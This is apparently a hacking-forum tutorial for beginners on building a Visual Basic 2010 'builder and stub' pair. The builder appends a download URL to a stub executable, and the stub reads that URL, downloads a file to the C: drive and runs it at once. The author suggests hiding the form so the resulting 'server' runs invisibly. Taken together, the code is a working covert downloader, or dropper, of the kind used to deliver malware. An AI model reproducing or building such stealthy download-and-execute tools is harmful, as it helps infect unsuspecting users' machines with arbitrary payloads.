.NET *Detailed*[TUT] Builder & Stub [ TUT] * N00B Friendly* VB 2010

If you dont know actualy what stubs and builders are, these are exe files wich generate a custom server based on input in builder and (lets call it) template in stub. As a final result we get a server.exe.
Lets begin...
First we will start off with creating a builder.So start VB 2010, new project->New Form Application and name it whatever( I suggest something relevant ex. Downloader-Builder). Ok, now create one textbox and one button(text box will be used to get download url, and button for building server.exe). Edit your button and textbox as showed in pic...
Spoiler (Click to View)
Ok once that is done double click button and copy this text in sub part

Code 
Dim Stub As String = CurDir() & "\stub.exe" 'Stub should be in Builder's Directory

        If IO.File.Exists(Stub) = False Then 'If it's not then

            MsgBox("No Stub Found", MsgBoxStyle.Exclamation) 'display a message

            Exit Sub 'and Exit the rest of the Sub

        End If

        IO.File.Copy(Stub, CurDir() & "\server.exe") 'Copy stub as Server

        IO.File.AppendAllText(CurDir() & "\server.exe", "FileSplit" & TextBox1.Text) 'Add user-settings to Server with a FileSplit

Your code should look like this
Spoiler (Click to View)
And we are done with the builder, save project and make builder.exe...
Now we have to make a stub, in VB again new project->New Form Application. I suggest you make this form invisible because your server will be invisible then,but you dont have to. Double click in form and copy this text in it.

Code 
Dim BinText As String = IO.File.ReadAllText(Application.ExecutablePath) 'Read All Text in Itself and store in variable BinText

If BinText.Contains("FileSplit") = False Then Exit Sub 'If there is the same Builder's FileSplit then

Dim ArrContents() As String = Split(BinText, "FileSplit") 'Store BinText splitted by FileSplit

For num As Integer = 1 To UBound(ArrContents)

this part of code collects info about what you have tiped in builder and stores it so we can use it later.
and we only have to add downloader code, wich is realy simple

Code 
My.Computer.Network.DownloadFile(ArrContents(num), "c:\this will be the name of downloaded file.exe") 

Process.Start("C:\name of the file we set above.exe")

Code of the stub should look like this
Spoiler (Click to View)
And that is it!!Save it, build stub.exe put them in the same directory and voila... you have created a builder and stub for the downloader server. Of course you can edit GUI as you wish but basicly this is a core of your program. I am not an expert in VB 2010, but this helped me in my learning so I decided to share it with others. I am author of this text, but I didnt code builder and sub on my own I learned this code over other tutorials.
I am sorry for my grammar misstakes( I belive there lots of them, but I think you were able to understand what I have writen.)

Dont forget to say thanks... Enjoy ;D